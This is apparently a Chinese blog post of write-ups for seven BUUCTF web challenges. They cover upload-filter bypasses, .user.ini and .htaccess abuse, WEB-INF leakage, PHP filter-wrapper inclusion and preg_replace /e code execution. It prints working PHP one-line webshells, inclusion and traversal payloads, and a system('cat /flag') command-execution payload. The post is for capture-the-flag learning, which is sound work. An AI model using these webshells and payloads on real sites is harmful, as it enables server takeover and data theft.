题目均来自 BUUCTF
1、[极客大挑战 2019]Upload 1
考点:文件上传漏洞
进入靶场
一看就知道是考察文件上传漏洞,看源码有没有敏感信息
没有什么敏感信息,那我们试着按要求传一张图片看看结果,但是传了 png、jpg 类型的图片后发现上传不了,显示均如下图所示,只有 GIF 能上传成功,猜测应该是对文件头进行了判断,只允许文件头为 GIF89a(GIF的文件头) 的文件上传
尝试写一句话木马,前面加上 GIF 的文件头
然后提示
说明不能直接用 <?php ?> 这种格式来写 php 代码,我们利用 <script> 来替换 <?
<script language="php">@eval($_POST['passwd'])</script>
写完后保持,打开 bp 上传时抓包
当是上传到那个文件夹下我们并不知道,一般来说应该是 upload
发现确实存在,接下来就可以使用蚁剑连接了
URL地址:452b2ebe-549e-4f5f-9f33-36a232a8e3b6.node5.buuoj.cn:81/upload/113.phtml
上传的一句话木马记得写
2、[HCTF 2018]WarmUp 1
进入靶场,给到我们的是一张图片,除此无别的信息
我们右键去查看页面源代码,发现敏感信息,那么我们去看看该文件内容
把 source.php 的代码内容返回到页面,很明显要我们进行代码审计
对代码进行分析
whitelist 这是白名单,关联数组
isset () 函数在 php 中用来判断变量是否声明,声明返回 true ,未声明返回 false
is_string () 函数在 php 中用来判断值是否为字符串,是字符串返回 true ,反之 false
所以上图的代码意思是:
第一个 if
判断变量 $page 是否声明,其值是否为字符串,必须满足这两个才不会进入执行体(打印:you can't see it)
第二个 if
判断 $page 的值是否在白名单中,若在则返回 true
先分析上图代码中的关键函数
mb_substr () 函数:
- me_substr('who is gay?',0,2) 输出 wh(表示输出 0 到 2 的字符,不包括 2),而mb_strpos('abcd',d) 检测 函数d在字符串 "abcd" 中什么时候出现的 该函数输出 3
mb_strpos () 函数:
**urlencode ()**函数:
分析代码意思:
因为 mb_strpos 是 mb_substr 的参数所以 mb_strpos 的作用是求出 $page? 的长度。(. 是拼接字符) 由前面的分析我们知道,mb_substr 是不截取最后一个字符的 (me_substr('who is gay?',0,2) 输出 wh)所以问号并不会被截取,结果就是把 $page 的值赋给 $_page ,两个结果一样;然后检测 $_page 的值是否在白名单中,在的话 return true;接着对 $page 的值进行 url 编码,赋值给 $_page
和上面一样,不过这次没有进行 url 编码
这一块是你提交的文件名,用于上面检测代码的检测。
我们构造payload:file=hint.php?../../../../../ffffllllaaaagggg,这样就只检测到 file=hint.php 因为到第一个问号前截止嘛,所以后面的就不进行检测了。
include 函数有个特性:以字符 / 分隔,且不计个数,若是在前面的字符串所代表的文件无法被PHP 找到,则 PHP 会自动包含 / 后面的文件
【include() 函数包含出错的话,只会提出警告,不会影响后续语句的执行】
我们现在并不知道 ffffllllaaaagggg 在一层,所以一个一个去试一下,发现结果如下:
3、[SUCTF 2019]CheckIn 1
考点:文件上传漏洞 + .user.ini 的利用
进入靶场
很明显,这是一道文件上传漏洞的题目,我们先按常规思路来,上传一个带有一句话木马的 .php 文件(命名为:78.php)
上传后提示非法后缀,说明对文件后缀进行了检测
那么我就试着修改后缀上传
发现又对我们的内容进行了检测,不能出现 <?,这个好办,用 <script> 替换 <? 即可【这个是 php 代码的风格,属于php 语言的基础,一般 php 相关的书籍基础部分都会介绍这个点】
<script language='php'>@eval($_POST['password']);</script>
接着上传,发现还是不行,出现了 exif_imagetype 函数
这个函数的作用是用来检测文件的类型(检测文件头部 ,有人喜欢叫他幻术头),我们虽然把后缀改成了图片的格式,但是文件头部并不是图片格式
给大家看看正常情况下的图片文件头是什么样的
GIF文件的文件头
JPG文件的文件头
其余的就不给大家一 一展示,感兴趣问度娘,所以我们可以给一句话木马文件加上 GIF 的文件头来绕过 exif_imagetype 函数
再次上传
可以发现上传成功了,而且页面还把路径爆出来了,这对我们很友好【因为后期使用蚁剑进行连接的时候是需要知道我们上传文件所在的路径的】
但是图片我们是无法直接用蚁剑或者菜刀等工具去连接的,需要把它解析成 php 文件才可以连接
在学习文件上传时应该都学过,.htaccess 文件,可以把后缀为其他类型的图片解析成 php 文件对,使我们上传的图片内容可以被解析,但是这里对 .htaccess 文件也做了限制,所以我们就需要想其他的办法。这题对 .user.ini 文件没有限制,我们可以使用 .user.ini文件来帮助我们实现
推荐两篇文章给大家,加深理解
.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
文件上传 .htaccess 与.user.ini_.htaccess文件上传-CSDN博客
php.ini 是php 的一个全局配置文件,对整个 web 服务起作用;而 .user.ini 和 .htaccess 一样是目录的配置文件。这里我们可以把 .user.ini 看作是用户自定义的一个 php.ini,并且可以利用这个文件来构造后门和隐藏后门。
.user.ini。它比 .htaccess 用的更广,不管是 nginx/apache/IIS,只要是以 fastcgi 运行的 php都可以用这个方法。
.user.ini 文件的作用:当我们访问目录中的任何 php 文件时,都会调用 .user.ini 中指定的文件以 php 的形式进行读取
根据前面的回显结果,目录中确实纯在 php 文件,正好可以利用
上传 .user.ini 文件
上传成功,接下来访问 index.php 文件试试,我们已经知道了 index.php 文件的路径
解析成功,接下来可以使用蚁剑进行连接了,URL 就是我们上面访问的那条
返回上级目录去找 flag 文件
4、[MRCTF2020]你传你🐎呢 1
考点:文件上传漏洞 + .htaccess 文件的利用
进入靶场
通过页面可以知道是文件上传的题目,源码也没有什么关键信息,我们先上传带一句话木马的 .php 文件试试看,发现出错
改文件后缀,也不行,猜测是检测了文件头,我们添加 GIF 的文件头试试看
还是一样的结果,以上方法都不行,那我们尝试抓包,看看包里的信息
可以发现,对图片 MIME 信息进行了判断,我们改一下,把image/gif 改成 image/png 让后放包试试看
发现上传成功了,由此我们可以大致推测出是用了黑名单 和MIME 判断,发现还显示了路径,接下来就是想办法把图片解析成 php 文件
由于不知道目录下是否存在 .php 文件,无法确定能用 .user.ini ,试了一下确实不行,我们可以使用**.htaccess**解析漏洞
没了解过的看看这篇文章
文件上传 .htaccess 与.user.ini-CSDN博客
本地创建一个名为:.htaccess 的文件,内容如下
<FilesMatch "111" >
SetHandler application/x-httpd-php
</FilesMatch>"111" 是我们刚刚上传的图片木马文件名
同样的方法抓包修改 MIME 信息,使其上传成功
文件上传成功,访问也没问题
使用蚁剑连接
5、[RoarCTF 2019]Easy Java 1
考点: java web.xml 配置文件漏洞
进入靶场
本以为是 SQL 注入,测试半天没用,后面又用御剑扫描也没什么结果,看了页面源码
点进去看
其实本体考查的是 java web.xml 配置文件漏洞
**漏洞利用:**通过找到 web.xml 文件,推断 class 文件的路径,获取 class 文件,通过对 class 进行反编译,获取网站源码
WEB-INF/web.xml 泄露的起因就是我们在使用网络架构的时候,对静态资源的目录或文件的映射配置不当,可能会引发的一些安全问题,导致 web.xml 等文件能够被读取。
下面是 WEB-INF 主要包含的内容:
前置知识:什么是 java 的 class 文件
Java 的编译器在编译 java 类文件时,会将原有的文本文件(.java)翻译成二进制的字节码,并将这些字节码存储在 .class 文件。也就是说 java 类文件中的属性、方法、以及类中常量信息,都会被分别存储在 .class 文件中。当然还会添加一个公有的静态常量属性 .class,这个属性记录了类的相关信息,即类型信息,是 class 类的一个实例。
这里我们猜测是 class 文件的路径,输入路径获取 .class 文件
用记事本打开,很容易就能发现一串经 base64 加密过的字符串,解密看看结果
解码后得到 flag
6、[BSidesCF 2020]Had a bad day 1
考点:文件包含漏洞
Web漏洞-文件包含漏洞超详细全解(附实例)_【web漏洞百例】-CSDN博客
造成文件包含漏洞的原因:
- 可控变量:$filename
- 漏洞函数:include()
示例代码
【拓展】
【图片截取自:文件包含漏洞总结及工具分享_文件包含利用工具-CSDN博客】
其实吧,像这种文件包含漏洞类型的题目,做黑盒的时候全凭经验去猜,他不像其他一些漏洞,一样就知道大概考什么,文件包含漏洞在文件上传漏洞的题中可能可以想到,但是在其他情况下有时候确实想不到这个点,所以刚开始我也是没看出来考的是文件包含漏洞,看了 wp 才知道。
后面去询问学长,他给了我一些建议,看到 URL 有提供参数的时候,可以我这方面考虑一下
这道题的 URL 就给我们提供了参数
进入靶场
两个按钮都点看一下,分别给出了一张图片,源码也没什么敏感信息,猜测可能存在文件包含漏洞
利用 PHP 伪协议读取文件
php://filter/
payload:
category=php://filter/read=convert.base64-encode/resource=index
尾部的 index.php 文件要把后缀去掉,写成 index 才能读取,如下图所示,把数据读取出来了
PGh0bWw+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkltYWdlcyB0aGF0IHNwYXJrIGpveSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWluaW11bS1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkhhZCBhIGJhZCBkYXk/PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iY3NzL21hdGVyaWFsLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJjc3Mvc3R5bGUuY3NzIj4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWxheW91dCBtZGwtbGF5b3V0IG1kbC1sYXlvdXQtLWZpeGVkLWhlYWRlciBtZGwtanMtbGF5b3V0IG1kbC1jb2xvci0tZ3JleS0xMDAiPgogICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciBtZGwtbGF5b3V0X19oZWFkZXIgbWRsLWxheW91dF9faGVhZGVyLS1zY3JvbGwgbWRsLWNvbG9yLS1ncmV5LTEwMCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAiPgogICAgICAgIDxkaXYgY2xhc3M9Im1kbC1sYXlvdXRfX2hlYWRlci1yb3ciPgogICAgICAgICAgPHNwYW4gY2xhc3M9Im1kbC1sYXlvdXQtdGl0bGUiPkhhZCBhIGJhZCBkYXk/PC9zcGFuPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWxheW91dC1zcGFjZXIiPjwvZGl2PgogICAgICAgIDxkaXY+CiAgICAgIDwvaGVhZGVyPgogICAgICA8ZGl2IGNsYXNzPSJwYWdlLXJpYmJvbiI+PC9kaXY+CiAgICAgIDxtYWluIGNsYXNzPSJwYWdlLW1haW4gbWRsLWxheW91dF9fY29udGVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jb250YWluZXIgbWRsLWdyaWQiPgogICAgICAgICAgPGRpdiBjbGFzcz0ibWRsLWNlbGwgbWRsLWNlbGwtLTItY29sIG1kbC1jZWxsLS1oaWRlLXRhYmxldCBtZGwtY2VsbC0taGlkZS1waG9uZSI+PC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQgbWRsLWNvbG9yLS13aGl0ZSBtZGwtc2hhZG93LS00ZHAgY29udGVudCBtZGwtY29sb3ItdGV4dC0tZ3JleS04MDAgbWRsLWNlbGwgbWRsLWNlbGwtLTgtY29sIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icGFnZS1jcnVtYnMgbWRsLWNvbG9yLXRleHQtLWdyZXktNTAwIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxoMz5DaGVlciB1cCE8L2gzPgogICAgICAgICAgICAgIDxwPgogICAgICAgICAgICAgICAgRGlkIHlvdSBoYXZlIGEgYmFkIGRheT8gRGlkIHRoaW5ncyBub3QgZ28geW91ciB3YXkgdG9kYXk/IEFyZSB5b3UgZmVlbGluZyBkb3duPyBQaWNrIGFuIG9wdGlvbiBhbmQgbGV0IHRoZSBhZG9yYWJsZSBpbWFnZXMgY2hlZXIgeW91IHVwIQogICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWluY2x1ZGUiPgogICAgICAgICAgICAgIDw/cGhwCgkJCQkkZmlsZSA9ICRfR0VUWydjYXRlZ29yeSddOwoKCQkJCWlmKGlzc2V0KCRmaWxlKSkKCQkJCXsKCQkJCQlpZiggc3RycG9zKCAkZmlsZSwgIndvb2ZlcnMiICkgIT09ICBmYWxzZSB8fCBzdHJwb3MoICRmaWxlLCAibWVvd2VycyIgKSAhPT0gIGZhbHNlIHx8IHN0cnBvcyggJGZpbGUsICJpbmRleCIpKXsKCQkJCQkJaW5jbHVkZSAoJGZpbGUgLiAnLnBocCcpOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQllY2hvICJTb3JyeSwgd2UgY3VycmVudGx5IG9ubHkgc3VwcG9ydCB3b29mZXJzIGFuZCBtZW93ZXJzLiI7CgkJCQkJfQoJCQkJfQoJCQkJPz4KCQkJPC9kaXY+CiAgICAgICAgICA8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSJnZXQiIGlkPSJjaG9pY2UiPgogICAgICAgICAgICAgIDxjZW50ZXI+PGJ1dHRvbiBvbmNsaWNrPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2hvaWNlJykuc3VibWl0KCk7IiBuYW1lPSJjYXRlZ29yeSIgdmFsdWU9Indvb2ZlcnMiIGNsYXNzPSJtZGwtYnV0dG9uIG1kbC1idXR0b24tLWNvbG9yZWQgbWRsLWJ1dHRvbi0tcmFpc2VkIG1kbC1qcy1idXR0b24gbWRsLWpzLXJpcHBsZS1lZmZlY3QiIGRhdGEtdXBncmFkZWQ9IixNYXRlcmlhbEJ1dHRvbixNYXRlcmlhbFJpcHBsZSI+V29vZmVyczxzcGFuIGNsYXNzPSJtZGwtYnV0dG9uX19yaXBwbGUtY29udGFpbmVyIj48c3BhbiBjbGFzcz0ibWRsLXJpcHBsZSBpcy1hbmltYXRpbmciIHN0eWxlPSJ3aWR0aDogMTg5LjM1NnB4OyBoZWlnaHQ6IDE4OS4zNTZweDsgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSkgdHJhbnNsYXRlKDMxcHgsIDI1cHgpOyI+PC9zcGFuPjwvc3Bhbj48L2J1dHRvbj4KICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjaG9pY2UnKS5zdWJtaXQoKTsiIG5hbWU9ImNhdGVnb3J5IiB2YWx1ZT0ibWVvd2VycyIgY2xhc3M9Im1kbC1idXR0b24gbWRsLWJ1dHRvbi0tY29sb3JlZCBtZGwtYnV0dG9uLS1yYWlzZWQgbWRsLWpzLWJ1dHRvbiBtZGwtanMtcmlwcGxlLWVmZmVjdCIgZGF0YS11cGdyYWRlZD0iLE1hdGVyaWFsQnV0dG9uLE1hdGVyaWFsUmlwcGxlIj5NZW93ZXJzPHNwYW4gY2xhc3M9Im1kbC1idXR0b25fX3JpcHBsZS1jb250YWluZXIiPjxzcGFuIGNsYXNzPSJtZGwtcmlwcGxlIGlzLWFuaW1hdGluZyIgc3R5bGU9IndpZHRoOiAxODkuMzU2cHg7IGhlaWdodDogMTg5LjM1NnB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKSB0cmFuc2xhdGUoMzFweCwgMjVweCk7Ij48L3NwYW4+PC9zcGFuPjwvYnV0dG9uPjwvY2VudGVyPgogICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICA8L21haW4+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQgc3JjPSJqcy9tYXRlcmlhbC5taW4uanMiPjwvc2NyaXB0PgogIDwvYm9keT4KPC9odG1sPg==
内容很长,看到尾部的两个等号,初步判断是 base64 编码过的数据,去解码得到下面代码
html
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
关键代码是里面的 PHP 代码,我们对代码进行审计
php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
**strpos() 函数:**查找字符串在另一字符串中第一次出现的位置。
大概意思就是:传进去的参数要包含 woofers 或者 meowers 或者 index 他才会在我们传入的文件结尾拼接上 .php
也就是说我们猜测 flag 存在 flag.php 中,我们需要想办法去获取 flag.php 这个文件
构造 payload:
假设现在我们什么都不知道,我们一个一个试
?category=index/flag
告诉我们:对不起,我们目前只支持低音扬声器和喵喵声。那就可以排除 index 这个参数
?category=meowers/flag
?category=meowers/../flag
发现这个没有报错,看一下源代码
出现敏感信息,结合前面的经验,猜测可能又是需要 PHP 伪代码来读取文件
构造payload:
?category=php://filter//read=convert.base64-encode/index/resource=flag
新学的知识点:
php://filter 伪协议中间还可以套一层协议
base64 解码得到 flag
7、[BJDCTF2020]ZJCTF,不过如此 1
考点:PHP 伪协议 + preg_replace /e模式漏洞利用
进入靶场
分析代码:
两个参数,分别是:text、file,传参方式是 GET ,也就是直接在URL 中输入即可(过滤掉了 flag)
意识是 text 的内容要和文件内(I have a dream)的内容一样(强相等)
当然了一般做 CTF 看到这种情况基本可以不考虑存在这么一个文件,出现这样的函数字眼,首先考虑的是利用 PHP 伪协议(还有下面的 include 函数,看到他也要想到用 PHP 伪协议去读取文件)
匹配内容的话用 data://
读取文件的话用 php://filter/
根据源代码的提示,include 包含着一个 next.php 文件,我们要读取该文件的前提是要满足第一个条件,text 内容和 I have a dream 匹配
构造 payload
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
一眼 base64 解码得到如下代码
php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
【这里告诉大家一个小技巧,看到 @eval、cmd 等字眼要马上想到用命令执行来做】
即:cmd=system('XXX');
当然这题没有那么简单,我们先分析代码
preg_replace() 是个正则匹配函数
- 参数一:要搜索的模式,可以是字符串或一个字符串数组【i模式不区分大小写;e模式可以进行命令执行】
- 参数二:用于替换的字符串或字符数组
- 参数三:目标字符串或字符数组
本题的关键漏洞就在参数一 ,搜索模式这里,代码中用的是**/ei** 模式。
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)【replacement 参数即第二个参数】
/i 模式表示不区分大小写
我们把代码简化看看匹配什么玩意
php
('. $re .')
匹配 (' 拼接 $re 再拼接 ') ,大概就这么个意思
strtolower() 函数的功能是将字符串转成小写。
【深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)】
简单点说: e 模式下的 preg_replace 可以让第二个参数当作 PHP 代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从 1 开始排序,而strtolower("\\1") 正好表达的就是匹配区的第一个**(\\1=\1)**
代码中定义了一个函数 complex 参数为 re、str,对两参数进行正则操作,参数从 URL 中来
遍历得到的 URL 参数分别传给 re、str
举个例子:
URL : ?a=2&b=3
$_GET : {a:2,b:3} => a 传给 $re,b 传给 $str
最后还有个 getFlag() 函数,我们的目的就是要想办法执行这个函数,那就需要利用到前面的 e 模式漏洞
构造 payload
\S*={${phpinfo()}}
\.* 与 \S* 效果一样的,但是本题使用 \.* 会把 . 换成下划线,\S* 的意思就是
[\S]表示,非空白就匹配
* 匹配前面的子表达式零次或多次,例如,zo* 能匹配到 "z"、"zo"、"zoo"
所以,上面的 \S* 即不管输入什么字符都能匹配到,使正则表达式第二个参数 ${phpinfo()} 被当成 PHP 代码执行
?text=data://text/pain,I have a dream&file=next.php&\S*=${phpinfo()}
原句:preg_replace('/(' . re . ')/ei','strtolower("\\\\1")',str); 就变成 preg_replace('/(' \S* ')/ei','strtolower("\\1")',{${phpinfo()}});
接下来就可以构造我们的 payload 了
?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');